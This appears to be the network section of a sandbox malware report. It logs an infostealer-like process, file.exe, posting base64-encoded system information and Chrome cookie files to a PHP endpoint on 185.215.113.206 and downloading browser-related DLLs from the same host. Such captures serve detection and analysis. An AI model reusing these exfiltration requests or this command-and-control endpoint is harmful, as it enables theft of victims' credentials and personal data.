Data Ascii: ------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZm8udHh0------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="file"Ck5ldHdvcmsgSW5mbzoKCS0gSVA6IElQPwoJLSBDb3VudHJ5OiBJU08/CgpTeXN0ZW0gU3VtbWFyeToKCS0gSFdJRDogQTAwRUMzNTBERjFGMTYyMjM3OTcwMwoJLSBPUzogV2luZG93cyAxMCBQcm8KCS0gQXJjaGl0ZWN0dXJlOiB4NjQKCS0gVXNlck5hbWU6IGFsZm9ucwoJLSBDb21wdXRlciBOYW1lOiA4OTk1NTIKCS0gTG9jYWwgVGltZTogMjAyNC8xMS8xMiAwOjIzOjMKCS0gVVRDOiAtNQoJLSBMYW5ndWFnZTogZW4tQ0gKCS0gS2V5Ym9hcmRzOiBFbmdsaXNoIChVbml0ZWQgS2luZ2RvbSkgLyBFbmdsaXNoIChVbml0ZWQgS2luZ2RvbSkKCS0gTGFwdG9wOiBGQUxTRQoJLSBSdW5uaW5nIFBhdGg6IEM6XFVzZXJzXGFsZm9uc1xEZXNrdG9wXGZpbGUuZXhlCgktIENQVTogSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoKCS0gQ29yZXM6IDIKCS0gVGhyZWFkczogNAoJLSBSQU06IDgxOTEgTUIKCS0gRGlzcGxheSBSZXNvbHV0aW9uOiAxMjgweDEwMjQKCS0gR1BVOgoJCS1NaWNyb [TRUNCATED]
Nov 12, 2024 06:23:05.376471996 CET	2472	OUT	Data Raw: 55 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 49 46 64 6c 59 6c 5a 70 5a 58 63 79 49 46 4a 31 62 6e 52 70 62 57 55 67 4c 53 41 78 4d 54 63 75 4d 43 34 79 4d 44 51 31 4c 6a 51 33 43 67 6c 4b 59 58 5a 68 49 45 46 31 64 47 38 67 56 58 42 Data Ascii: U1pY3Jvc29mdCBFZGdlIFdlYlZpZXcyIFJ1bnRpbWUgLSAxMTcuMC4yMDQ1LjQ3CglKYXZhIEF1dG8gVXBkYXRlciAtIDIuOC4zODEuOQoJSmF2YSA4IFVwZGF0ZSAzODEgLSA4LjAuMzgxMC45CglNaWNyb3NvZnQgVmlzdWFsIEMrKyAyMDE1LTIwMjIgUmVkaXN0cmlidXRhYmxlICh4NjQpIC0gMTQuMzYuMzI1MzIgLSAx
Nov 12, 2024 06:23:05.377048969 CET	875	OUT	Data Raw: 30 78 30 51 6d 4a 6d 4c 6d 56 34 5a 51 6f 4a 55 56 5a 47 64 56 68 50 54 48 52 43 59 6d 59 75 5a 58 68 6c 43 67 6c 52 56 6b 5a 31 57 45 39 4d 64 45 4a 69 5a 69 35 6c 65 47 55 4b 43 56 46 57 52 6e 56 59 54 30 78 30 51 6d 4a 6d 4c 6d 56 34 5a 51 6f Data Ascii: 0x0QmJmLmV4ZQoJUVZGdVhPTHRCYmYuZXhlCglRVkZ1WE9MdEJiZi5leGUKCVFWRnVYT0x0QmJmLmV4ZQoJUVZGdVhPTHRCYmYuZXhlCglRVkZ1WE9MdEJiZi5leGUKCVFWRnVYT0x0QmJmLmV4ZQoJUVZGdVhPTHRCYmYuZXhlCglRVkZ1WE9MdEJiZi5leGUKCVFWRnVYT0x0QmJmLmV4ZQoJUVZGdVhPTHRCYmYuZXhlCglR
Nov 12, 2024 06:23:06.162640095 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:23:06.959647894 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 06:23:07.236181974 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:07 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49735	185.215.113.206	80	4276	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:23:18.235336065 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAF Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BAFBFCBGHDGCFHJJECAF--
Nov 12, 2024 06:23:19.638345003 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:23:19.798648119 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="file"------DBFCBGCGIJKJKECAKEGC--
Nov 12, 2024 06:23:20.582181931 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49779	185.215.113.206	80	4276	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 06:23:25.938580036 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIIDAFBFBKECBGDBGI Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 06:23:25.938674927 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 49 44 41 46 42 46 42 4b 45 43 42 47 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 Data Ascii: ------BFIIIDAFBFBKECBGDBGIContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------BFIIIDAFBFBKECBGDBGIContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 12, 2024 06:23:27.335694075 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:23:27.481823921 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file"------JKECGDBFCBKFIDHIDHDH--
Nov 12, 2024 06:23:28.250309944 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 06:23:28.793420076 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 06:23:29.069168091 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 12, 2024 06:23:29.069180965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 12, 2024 06:23:29.069205046 CET	224	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D
Nov 12, 2024 06:23:29.069216967 CET	1236	IN	Data Raw: 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 04 ff 8b 74 24 38 0f 1f 84 00 00 00 Data Ascii: $D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$(
Nov 12, 2024 06:23:29.069228888 CET	1236	IN	Data Raw: c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 c2 21 da 21 fa b8 02 00 00 00 29 c8 Data Ascii: 19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/EU;U
Nov 12, 2024 06:23:29.069242954 CET	1236	IN	Data Raw: 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 74 31 8b 55 0c 89 f9 ff 75 14 ff 75 10 e8 17 fd ff ff 83 c4 08 85 c0 74 2c 8b 1f 85 db 74 14 Data Ascii: WVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVP
Nov 12, 2024 06:23:29.069258928 CET	636	IN	Data Raw: f6 eb 12 68 05 e0 ff ff e8 de f7 07 00 83 c4 04 be ff ff ff ff 8b 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 Data Ascii: hM1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
Nov 12, 2024 06:23:29.069271088 CET	1236	IN	Data Raw: d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 01 32 14 0f 8b 4d e4 88 51 01 83 fe 02 0f 84 e8 00 00 00 8b 45 ec 04 03 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b Data Ascii: $7$7u]S2MQE}$7$7u]S2MQE}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$
Nov 12, 2024 06:23:29.069281101 CET	212	IN	Data Raw: 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 Data Ascii: MUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpf
Nov 12, 2024 06:23:29.069356918 CET	1236	IN	Data Raw: eb c1 66 0f 70 c8 55 66 0f eb c8 66 0f 7e 4d e0 8b 55 c8 39 55 d4 8b 45 d0 75 0e 8a 55 e8 8b 4d ec 8b 7d e4 8b 5d dc eb 3f 8d 0c d5 00 00 00 00 8b 75 10 03 75 cc 8b 5d d4 8b 7d e0 0f 1f 84 00 00 00 00 00 0f b6 04 16 d3 e0 09 c7 83 c1 08 83 c2 01 Data Ascii: fpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]]}<+ET}:M1}]fEUEEUD}474
Nov 12, 2024 06:23:32.076096058 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 06:23:32.351531029 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:32 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 12, 2024 06:23:33.844046116 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 06:23:34.119277000 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 12, 2024 06:23:34.971432924 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 12, 2024 06:23:35.246895075 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
